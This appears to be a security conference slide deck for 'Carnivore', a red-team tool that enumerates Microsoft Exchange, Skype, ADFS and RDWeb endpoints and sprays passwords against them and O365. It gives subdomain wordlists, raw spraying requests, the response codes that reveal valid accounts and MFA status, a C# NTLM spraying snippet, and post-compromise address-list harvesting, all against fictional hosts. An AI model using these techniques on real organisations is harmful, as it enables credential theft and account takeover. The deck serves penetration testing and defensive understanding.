Carnivore: Microsoft External Attack Tool
Outline

• Intro Demo
• Research
• Subdomain Enumeration
• Username Enumeration
• Password Spraying
• Post Compromise
• O365
Intro Demonstration
Research – General Statistics
Research – General Statistics

- Skype: 16.23%
- Exchange: 38.45%
- ADFS: 19.27%
- RDWeb: 3.10%
- Cloud*: 60.76%
Subdomain Enumeration
Research – Subdomain Enumeration

- 53% User Enum
- 47% Pass Spray
## Research – Subdomain Enumeration

<table>
<thead>
<tr>
<th>Exchange Subdomains:</th>
<th>Skype Subdomains:</th>
<th>ADFS Subdomains:</th>
<th>RDWeb Subdomains:</th>
</tr>
</thead>
<tbody>
<tr>
<td>mail</td>
<td>lyncdiscover</td>
<td>adfs</td>
<td>remote</td>
</tr>
<tr>
<td>webmail</td>
<td>dialin</td>
<td>sts</td>
<td>rds</td>
</tr>
<tr>
<td>owa</td>
<td>meet</td>
<td>fs</td>
<td>portal</td>
</tr>
<tr>
<td>email</td>
<td>lync</td>
<td>portal</td>
<td>gateway</td>
</tr>
<tr>
<td>outlook</td>
<td>lyncweb</td>
<td>federation</td>
<td>desktop</td>
</tr>
<tr>
<td>exchange</td>
<td>sip</td>
<td>wap</td>
<td>remotedesktop</td>
</tr>
<tr>
<td>mail2</td>
<td>skype</td>
<td>gateway</td>
<td>remote2</td>
</tr>
<tr>
<td>webmail2</td>
<td>sfbweb</td>
<td>adfs1</td>
<td>remotegateway</td>
</tr>
<tr>
<td>mail1</td>
<td>scheduler</td>
<td>fs2</td>
<td></td>
</tr>
<tr>
<td>mailbox</td>
<td>lyncext</td>
<td>fs1</td>
<td></td>
</tr>
<tr>
<td>mail01</td>
<td>lyncdiscoverinternal</td>
<td>federate</td>
<td></td>
</tr>
<tr>
<td>mailman</td>
<td>access</td>
<td>adfsproxy</td>
<td></td>
</tr>
<tr>
<td>mailgate</td>
<td></td>
<td>adfs2</td>
<td></td>
</tr>
<tr>
<td>mailbackup</td>
<td></td>
<td>federated</td>
<td></td>
</tr>
<tr>
<td>mail3</td>
<td></td>
<td>adfstest</td>
<td></td>
</tr>
</tbody>
</table>
Username Enumeration
Username Enumeration Demonstration
<table>
<thead>
<tr>
<th>Username</th>
<th>Password</th>
<th>G365 MFA</th>
<th>Service</th>
<th>Sip Enabled</th>
<th>Account Disabled</th>
<th>Password Expired</th>
<th>Server Error Authenticating</th>
<th>Access Token</th>
</tr>
</thead>
</table>

(19:07) Looking up subdomain DNS records...
(19:07) Validating subdomain records...
(19:07) No user enum or pass spray URL discovered - attempting to find NTLM endpoints...
(19:07) [*] Skype Server Hostname: nevtek-skype01.nevtek.nev
(19:07) [*] nevtek-skype01.nevtek.nev: 10.128.121.143
(19:07) Enumerating Internal Domain Information...
(19:07) OAuth Domain name: NEVTEK.NEV
(19:07) OAuth Domain name: NEVTEK.NEV
(19:07) OAuth Domain name: NEVTEK.NEV
(19:07) OAuth Domain name: NEVTEK.NEV
(19:07) Finished subdomain enumeration and validation...
Username Enumeration

• Smart Enumeration
  • 9 lists of statistically likely usernames
  • Automatically selects likely format

• Legacy vs Modern Format
  • NEVTEK\jsmith
  • jsmith@nevtek.nev
ADFS: MSIS Cookie

POST /adfs/ls/idpinitiatedsignon HTTP/1.1
Host: federated.nevtek.nev
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 85

SignInIdpSite=SignInIdpSite&SignInSubmit=Sign+in&SingleSignOut=SingleSignOut
ADFS: POST Request

POST `/adfs/ls/idpinitiatedsignon` HTTP/1.1
Host: federated.nevtek.nev
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Cookie: MSISSamlRequest=QmFzZVXX0l5RW83WVlrMHh5NEtaYkJ5YkliUWxJc29mR3MiM2Q=
Content-Type: application/x-www-form-urlencoded
Content-Length: 86

UserName=nevtek\jsmith&Password=Password1&AuthMethod=FormsAuthentication
ADFS: Invalid Response

HTTP/1.1 200 OK
Cache-Control: no-cache,no-store
Pragma: no-cache
Content-Length: 15126
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-HTTPAPI/2.0
x-frame-options: DENY
P3P: CP="ADFS doesn't have P3P policy, please contact your site's admin for more details."
Set-Cookie: MSISSamlRequest=QmFzZVVybD1odHRwcXXXW83WVlrMHh5NEtaYkJ5YkliUWxJc29mR3MlM2Q=; path=/adfs; HttpOnly; Secure
Date: Tue, 17 Dec 2019 20:16:57 GMT
ADFS: Valid Response

HTTP/1.1 302 Found
Content-Length: 0
Content-Type: text/html; charset=utf-8
Location: https://federated.nevtek.nev:443/adfs/ls/idpinitiatedsignon
Server: Microsoft-HTTPAPI/2.0
P3P: CP="ADFS doesn't have P3P policy, please contact your site's admin for more details."
Set-Cookie: MSISSamIRequest=QmFzZVVybD1odHXXXXiUWXc29mR3M/2Q=; path=/adfs; HttpOnly; Secure
Set-Cookie: MSISAuth=AEEAAAjGUXaZwZj5rCLwZnX/MVCa/0X+XXXXX+EmO7ic2AVQjmFgoYXxLFuUzh/Y8DBR5v0qHY+x; path=/adfs; HttpOnly; Secure
Date: Tue, 17 Dec 2019 20:16:34 GMT
RDWeb: POST Request

POST /RDWeb/Pages/en-US/login.aspx HTTP/1.1
Host: remote.nevtek.nev
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

DomainUserName=nevtek\cscott&UserPass=Password1
RDWeb: Invalid Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/xml; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
Set-Cookie: TSWAAuthClientSideCookie=Name=nevtek%5Cjsmith&MachineType=public&WorkSpaceID=; expires=Tue, 12-Sep-2017 17:16:34 GMT; path=/; secure
Set-Cookie: TSWAAuthHttpOnlyCookie=; expires=Mon, 11-Oct-1999 23:00:00 GMT; path=/; secure; HttpOnly; SameSite=Lax
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 08 Jun 2020 17:16:34 GMT
Connection: close
Content-Length: 13124
HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Location: /RDWeb/Pages/en-US/default.aspx
Server: Microsoft-IIS/8.5
Set-Cookie: TSWAAuthClientSideCookie=Name=nevtek%Ccscott&MachineType=public&WorkSpaceID=; path=/; secure
Set-Cookie: TSWAAuthHttpOnlyCookie=A6C95DE1EB8443D6CXXX6E51C36ABF9; path=/; secure; HttpOnly
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 08 Jun 2020 17:16:57 GMT
Connection: close
Content-Length: 148
Password Spraying
Password Spraying

• Discovered Format
• Pre-built lists

![Pre-built lists](image-url)
Password Spraying Demonstration
### Username Enumeration

<table>
<thead>
<tr>
<th>Username</th>
<th>Password</th>
<th>O365 MFA</th>
<th>Service</th>
<th>Sip Enabled</th>
<th>Account Disabled</th>
<th>Password Expired</th>
<th>Server Error Authenticating</th>
<th>Access Token</th>
</tr>
</thead>
</table>

### Output

- [19:24] Looking up subdomain DNS records...
- [19:24] Validating subdomain records...
- [19:24] No user enum or pass spray URL discovered - attempting to find NTLM endpoints...
- [19:24] [*] nevtek-skype01.nevtek.nev: 10.129.121.141
- [19:25] Enumerating Internal Domain Information...
- [19:25] OAuth Domain name: NEVTEK.NEV
- [19:25] OAuth Domain name: NEVTEK.NEV
- [19:25] OAuth Domain name: NEVTEK.NEV
- [19:25] OAuth Domain name: NEVTEK.NEV
- [19:25] Finished subdomain enumeration and validation...
## Password Spraying

<table>
<thead>
<tr>
<th>Username</th>
<th>Password</th>
<th>O365 MFA</th>
<th>Service</th>
<th>Sip Enabled</th>
<th>Account Disabled</th>
<th>Password Expired</th>
<th>Server Error Authenticating</th>
<th>Access Token</th>
</tr>
</thead>
<tbody>
<tr>
<td>NEVTEK\jsmith</td>
<td>Summer2019</td>
<td>Skype</td>
<td></td>
<td>Y</td>
<td></td>
<td></td>
<td></td>
<td>cwt=AAEBHAEFAAAAAAAFFC</td>
</tr>
<tr>
<td>NEVTEK\msmith</td>
<td></td>
<td>Skype</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NEVTEK\skumar</td>
<td></td>
<td>Skype</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NEVTEK\johnson</td>
<td></td>
<td>Skype</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
## Research – Password Spraying

<table>
<thead>
<tr>
<th>Exchange:</th>
<th>Skype:</th>
<th>ADFS:</th>
<th>RDWeb:</th>
</tr>
</thead>
<tbody>
<tr>
<td>/Autodiscover</td>
<td>/WebTicket/oauthhtoken</td>
<td>/adfs/ls/idpinitiatedsignon</td>
<td>/RDWeb/Pages/en-US/login.aspx</td>
</tr>
<tr>
<td>/ews</td>
<td>/WebTicket/WebTicketService.svc</td>
<td>/adfs/services/trust/2005/windowstransport</td>
<td>/Rpc</td>
</tr>
<tr>
<td>/autodiscover/autodiscover.xml</td>
<td>/abs/</td>
<td>/adfs/services/trust/2005/windowstransport</td>
<td>/RDWeb/FeedLogin</td>
</tr>
<tr>
<td>/rpc</td>
<td>/CertProv</td>
<td></td>
<td>180</td>
</tr>
<tr>
<td>/oab</td>
<td>/RgsClients</td>
<td></td>
<td></td>
</tr>
<tr>
<td>/mapi</td>
<td>/WebTicket/</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>/Autodiscover</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Password Spraying – C# NTLM Auth Spraying

```csharp
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.Credentials = new NetworkCredential(username, password);
request.Method = "GET";
try {
    HttpWebResponse response = (HttpWebResponse)request.GetResponse();
    Stream receiveStream = response.GetResponseStream();
    StreamReader readStream = new StreamReader(receiveStream, Encoding.UTF8);
    string responseString = readStream.ReadToEnd();
    Console.WriteLine("RESPONSE: " + responseString);
} catch (WebException webex) {
    HttpWebResponse response2 = webex.Response as HttpWebResponse;
}
```
A Note on Different Services

• ADFS Portal
  • Single sign on to third party services
  • Can lead to compromise of systems they might not be aware of
  • If O365 AND Federated = WIN!

• RDWeb – Remote desktop through the web
Post Compromise – Address List - Demonstration
(19:25) OAuth Domain name NEVTek.NEV

(19:25) OAuth Domain name NEVTek.NEV

(19:25) Finished subdomain enumeration and validation...

(19:28) Password Spraying will add Domain information to given usernames in the following order:

(19:28) Domain given with username > Manually entered domain information > Domain information gathered for specified service > Domain information gathered for any surface > Fail

(19:28) "Legacy format" usernames may contain numbers, or be linked to payroll ID (jsmith@454 or PT12432432432432432432432432432434) and therefore not be discoverable by Smart Enumeration, however, the modern format is more likely to match email style (jsmith@domain.com or john.smith@domain.com).

(19:28) Adding new service interface with service: Skype

(19:28) Usernames to spray: 48065

(19:29) [5] Account Disabled: jjohnson@NEVTek.NEV

(19:29) [5] Valid Credentials: cscott@NEVTek.NEV:Summer2020

(19:37) [*] Password spraying stopped at...
## Post Compromise – Address List

<table>
<thead>
<tr>
<th>Name</th>
<th>Sip Username</th>
<th>Email Address</th>
<th>Title</th>
<th>Department</th>
<th>Office</th>
<th>Presence</th>
<th>Phone Number</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>Daisy Johnson</td>
<td><a href="mailto:djohnson@nevtek.nev">djohnson@nevtek.nev</a></td>
<td><a href="mailto:daisy.johnson@nevtek.nev">daisy.johnson@nevtek.nev</a></td>
<td>Head of HR</td>
<td>HR</td>
<td>Leeds</td>
<td>Offline, Unknown</td>
<td>+447789568556</td>
<td>I keep thinking about S</td>
</tr>
<tr>
<td>James Brown</td>
<td><a href="mailto:jbrown@nevtek.nev">jbrown@nevtek.nev</a></td>
<td><a href="mailto:james.brown@nevtek.nev">james.brown@nevtek.nev</a></td>
<td>Network Engineer</td>
<td>IT</td>
<td>Leeds</td>
<td>None, Unknown</td>
<td>+441610156025</td>
<td></td>
</tr>
<tr>
<td>Jack Miller</td>
<td><a href="mailto:jmiller@nevtek.nev">jmiller@nevtek.nev</a></td>
<td><a href="mailto:jack.miller@nevtek.nev">jack.miller@nevtek.nev</a></td>
<td>Head of IT</td>
<td>IT</td>
<td>Leeds</td>
<td>None, Unknown</td>
<td>+441611525565</td>
<td></td>
</tr>
<tr>
<td>Mike Smith</td>
<td><a href="mailto:msmith@nevtek.nev">msmith@nevtek.nev</a></td>
<td><a href="mailto:msmitcho@nevtek.nev">msmitcho@nevtek.nev</a></td>
<td>Senior</td>
<td>HR</td>
<td>Leeds</td>
<td></td>
<td>+447382986544</td>
<td></td>
</tr>
</tbody>
</table>
Post Compromise – Address List

• PeopleSearch
  • A-Z
  • No “next”
  • Absolute insanity

• Digraphs/Trigraphs
  • Common
  • All
Post Compromise – WebApp Proxy

• Jumping a misconfigured WebApp proxy
Post Compromise – Meeting Snooper
<table>
<thead>
<tr>
<th>Username</th>
<th>O365 MFA</th>
<th>Service</th>
<th>Sip Enabled</th>
<th>Account Disabled</th>
<th>Password Expired</th>
<th>Server Error Authenticating</th>
</tr>
</thead>
<tbody>
<tr>
<td>chris.nevin@</td>
<td>Skype</td>
<td></td>
<td>Y</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Post Compromise - MeetingSnooperTM

• Self-scheduled meetings
• Meeting END time only
O365 – General

• Federated
  • Cannot spray office portal
  • ADFS server location in response

• Not Federated
  • Spray office portal
  • Valid+MFA

• Password Spray Countermeasures
  • O365 – Robust!
  • Trusted vs Untrusted bad password count
GET /common/userrealm/?user=username@contoso.com&api-version=2.1&checkForMicrosoftAccount=true HTTP/1.1
Host: login.microsoftonline.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Federated: Response

{
  "MicrosoftAccount":1,
  "IsMicrosoftAccountSet":true,
  "NameSpaceType":"Managed",
  "Login":"username@contoso.com",
  "DomainName":"contoso.com",
  "FederationBrandName":"Contoso, Ltd",
  "TenantBrandingInfo":null,
  "cloud_instance_name":"microsoftonline.com"
}
Password Spraying: Request

POST /organizations/oauth2/v2.0/token HTTP/1.1
Host: login.microsoftonline.com
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_1_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

grant_type=password&username=user.name@contoso.com&password=Password1&client_id=randomid&scope=whatevs
Password Spraying: Invalid Password Response

"error":"invalid_grant"

"error_description":"AADSTS50126: Invalid username or password.\nTrace ID: XXXX\nCorrelation ID: XXX\nTimestamp: 2019-10-10 16:00Z"
Password Spraying: Invalid Username Response

"error":"invalid_grant"

"error_description":"AADSTS50034: The user account {EmailHidden} does not exist in the contoso.com directory. To sign into this application, the account must be added to the directory.

Trace ID: XXX
Correlation ID: XXX
Timestamp: 2019-10-10 14:24:00Z"
Password Spraying: Valid User + Password – No MFA

"error": "unauthorized_client"

"error_description": "AADSTS700016: Application with identifier 'randomid' was not found in the directory 'contoso.com'. This can happen if the application has not been installed by the administrator of the tenant or consented to by any user in the tenant. You may have sent your authentication request to the wrong tenant.

Trace ID: XXX
Correlation ID: XX
Timestamp: 2020-06-11 14:57:00Z"
Password Spraying: Valid User + Password - MFA

"error":"invalid_grant"

"error_description"":"AADSTS50076: Due to a configuration change made by your administrator, or because you moved to a new location, you must use **multi-factor authentication** to access '00000XXXXX00000000'.

Trace ID: XXXX

Correlation ID: XXXX

Timestamp: 2020-06-11 14:49:15Z"
Outro
Information

• https://github.com/ReverendThing/Carnivore